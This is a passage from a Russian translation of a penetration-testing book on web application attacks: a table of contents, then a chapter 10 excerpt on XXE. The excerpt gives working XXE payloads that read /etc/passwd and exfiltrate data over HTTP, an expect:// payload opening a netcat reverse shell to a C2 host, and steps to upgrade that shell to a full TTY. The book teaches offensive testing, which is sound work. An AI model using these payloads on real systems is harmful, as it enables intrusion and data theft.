- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
|
Document root is /root/c2/xxe |
|||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
Press Ctrl-C to quit.
Атаки XXE
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
273 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
[] 107.181.189.72:42582 [200]: /payload.dtd
[] 107.181.189.72:42584 [404]:
/exfil?S2FsaSBHTlUvTGludXggUm9sbGluZyBcbiBcbAo=
[...]
Первый запрос приходит для файла payload.dtd. Это означает, что мы подтвердили наличие XXE-уязвимости. Содержимое обрабатывается, и последую-
щий вызов URL-адреса (exfil?S2FsaSBHTlUvTGludXggUm9sbGluZyBcbiBcbAo=), со-
держащего интересующие нас данные,обнаруживается в журналах почти сразу.
Рис.10.18. Код модифицированного XML-эксплойта
При повторном использовании CyberChef расшифровка URL-данных дает содержимое файла /etc/issue на сервере XML-парсера (см. рис. 10.19).
Такой метод передачи данных наружу отлично подходит для небольших файлов, однако при отправке большого фрагмента кода в формате Base64 по протоколу HTTP могут возникнуть проблемы. Большинство клиентов, таких как PHP или Java,не будетотправлятьзапросы с URL-адресами,длина которых превышает 2000 символов. В некоторых случаях может быть разрешена длина до 4000 символов.Это сильно зависит от реализации клиента,поэтому всякий раз, когда вы пытаетесь украсть данные с помощью XXE-атаки, помните об этих ограничениях.
Удаленное выполнение кода
Ах да,это своего рода святой Граальтестирований на проникновение.Будучи гораздо менее распространенным, удаленное выполнение кода возможно при развертывании некоторых приложений, уязвимых к XXE-атакам. Ненадежная конфигурация и уязвимые компоненты позволят нам использовать XML-парсер не по назначению,что приведет к удаленному выполнению кода.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 274 |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Глава 10.Практические атаки на стороне сервера
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.10.19. CyberChef декодирует украденные данные
В предыдущих примерах мы использовали довольно простой вредоносный код для чтения данных с диска.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY exfil SYSTEM "file:///etc/passwd">
]> <xxe>&exfil;</xxe>
После парсинга тег <xxe> будет содержать содержимое файла /etc/passwd. Попросить PHP выполнить код не намного сложнее благодаря модулю expect. Хотяобычноэторасширениенеустанавливается поумолчанию,expect предо ставляет PHP-приложениям обертку expect://, позволяющую разработчикам выполнять команды оболочки с помощью URL-подобного синтаксиса.
Как и обертка file://, expect:// предоставляет доступ с правом чтения и записи потоку PTY, а не файловой системе. Разработчики могут использовать функцию fopen с оболочкой expect:// для выполнения команд и получения вывода.
<?php
$stream = fopen("expect://ssh root@remotehost uptime", "r"); ?>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Атаки XXE 275 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
В предыдущем коде мы открываем базовой системной оболочке потоктоль- |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
ко для чтения, выполняем команду ssh |
root@remotehost, и после подключе- |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
ния команда uptime будет выполнена на удаленном хосте. |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
После завершения результат может быть использован в остальной части |
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
приложения. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
При атаке XML нам не нужно выполнять PHP-код и вызывать функцию |
|
|
|
|
|
|
fopen. Оболочка expect:// легко доступна для XML-парсеров. Использование expect:// вместо встроенной системной команды passthru
дает ряд преимуществ, поскольку обеспечивает взаимодействие с терминалом,тогда как команды оболочки passthru более ограничены.Таким образом, вы все еще можете столкнуться с тем,что этот модуль установлен и включен.
Чтобы увидеть, как это работает в системе с включенным модулем expect, можно выполнитьприведенный ниже вредоносный код.Команда,которую мы передаем в expect://, – это простой редиректор, указывающий на наш ко- мандно-контрольный сервер в облаке, c2.spider.ml.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY shell SYSTEM "expect://nc -e bash c2.spider.ml 443">
]> <xxe>&shell;</xxe>
Плюс этого в том, что нам не обязательно заботиться о выводе. Если это «слепая» XXE-атака,то нам легко удастся создать оболочку.
После того как вредоносный код XML будет проанализирован и приложениепопытаетсяразвернутьсущностьоболочки,модульexpect выполнитнашу команду netcat на объекте атаки и мы получим доступ по оболочке к серверу приложения.
root@spider-c2-1:~# nc -lvp 443 listening on [any] 443 ...
connect to [10.240.0.4] from [107.181.189.72] 42384 id
uid=33(www-data) gid=33(www-data) groups=33(www-data) pwd
/var/www/html/xml
Netcat–этонеединственныйдоступныйвариантоболочки.Есликодвыпол- няется с помощью expect://, мы также можем загрузить полезную нагрузку Meterpreter и получить доступ через консоль Metasploit, что дает нам дополнительные инструменты для постэксплуатации. При удаленном выполнении кода наши возможности безграничны.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 276 Глава 10.Практические атаки на стороне сервера |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
|
n |
|
Интерактивные оболочки |
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Реверсные оболочки через netcat вполне подходят для выполнения некоторых команд и, возможно, чтения файлов, но они не обеспечивают интерактивность. Чтобы быть более продуктивными во время постэксплуатации, нам нужен доступ к различным инструментам, таким как Vim или SSH, для чего требуется соответствующий терминал.
Нужно выполнить несколько шагов, которые отдельные особи могут назвать магией,чтобы обновить нашу оболочку. Сперва можно вызвать команду python для запуска новой bash-оболочки.
Пусть она не идеальна, но это лучше,чем то,что у нас было раньше:
python -c 'import pty; pty.spawn("/bin/bash")'
Возможно, данный код выглядит странно, если вы не знакомы с Python, но все,что он делает,– импортирует пакет pty и запускает оболочку bash.
В своей реверсной оболочке выполняем команду python,и результатдолжен выглядеть знакомо.
root@spider-c2-1:~# nc -lvp 443 listening on [any] 443 ...
connect to [10.240.0.4] from [107.181.189.72] 42384 id
uid=33(www-data) gid=33(www-data) groups=33(www-data) pwd
/var/www/html/xml
python -c 'import pty; pty.spawn("/bin/bash")' www-data$ $
Тут еще есть некоторые проблемы: пока Vim работает, доступа к истории или автозаполнения в командой строке нет, и сочетание клавиш Ctrl+C завершит работу оболочки.
Давайте сделаем еще один шаги попробуем увеличитьвозможностидо полной оболочки, используя команду stty и конфигурацию локального терминала.
Во-первых,послеобновленияоболочки,используяпредыдущуюстрокукода с командой python,отправим процесс в фоновый режим,используя сочетание клавиш Ctrl+Z.
root@spider-c2-1:~# nc -lvp 443 listening on [any] 443 ...
connect to [10.240.0.4] from [107.181.189.72] 42384 id
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
|
uid=33(www-data) gid=33(www-data) groups=33(www-data) |
|||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
pwd /var/www/html/xml
python -c 'import pty; pty.spawn("/bin/bash")'
www-data$ ^Z |
|
[1]+ Stopped |
nc -lvp 443 |
root@spider-c2-1:~#
Атаки XXE
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
277 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Нам нужно найти тип текущего терминала, проверив переменную $TERM.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data$ ^Z |
|
[1]+ Stopped |
nc -lvp 443 |
root@spider-c2-1:~# echo $TERM screen
Наш командно-контрольный сервер работает в сеансе screen, но вы можете увидеть xterm-256color или Linux, если будете работать с Kali.
Теперь нужны настройки количества строк и столбцов для отображения в терминале. Чтобы получить эти значения, воспользуемся программой stty с опцией –a.
root@spider-c2-1:~# stty -a
speed 38400 baud; rows 43; columns 142; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch =
[...]
Может показаться, что приведенная далее команда выводит терминал из строя, но, для того чтобы сочетание клавиш Ctrl+C не убило нашу оболочку, мы должны перевести TTY в raw-режим и отключить вывод каждого символа. Команды,которые мы вводим в нашу оболочку,все равно будутобрабатываться, но сам терминал без активной реверсной оболочки может выглядеть неработоспособным.
Сообщаемкомандеstty установитьтерминалв raw-режимиотключитьвы- вод с помощью –echo.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data$ ^Z |
|
[1]+ Stopped |
nc -lvp 443 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 278 Глава 10.Практические атаки на стороне сервера |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
root@spider-c2-1:~# echo $TERM |
||||||
|
|
|
|
|
n |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
screen
root@spider-c2-1:~# stty -a
speed 38400 baud; rows 43; columns 142; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch =
[...]
root@spider-c2-1:~# stty raw -echo
Чтобы вернуть оболочку из фонового режима,запускаем команду fg.Вы заметите, что это не выводится в терминале из-за ранее выполненной команды stty raw -echo, но тем не менее должно быть обработано.
python -c 'import pty; pty.spawn("/bin/bash")' www-data$ ^Z
[1]+ Stopped nc -lvp 443 root@spider-c2-1:~# echo $TERM
screen
root@spider-c2-1:~# stty -a
speed 38400 baud; rows 43; columns 142; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch =
[...]
root@spider-c2-1:~# stty raw -echo root@spider-c2-1:~# nc -lvp 443
Вернувшись из фонового режима,вы увидите,что команда реверсной оболочки возвратилась на экран: nc -lvp 443 –и,возможно,все снова выглядит немного неисправным. Нет проблем – можно набрать reset, чтобы очистить это.
Внутри реверсной оболочки теперь, когда все снова выглядит хорошо, нам нужноустановитьтежепараметрытерминала,включаястроки,столбцыитип, чтобы оболочка работала правильно.
www-data$ export SHELL=bash www-data$ export TERM=screen www-data$ stty rows 43 columns 142
В результате получается полностью работающий терминал со всеми необычными функциями,и мы можемдаже запуститьscreen в нашей реверсной оболочке netcat (рис.10.20).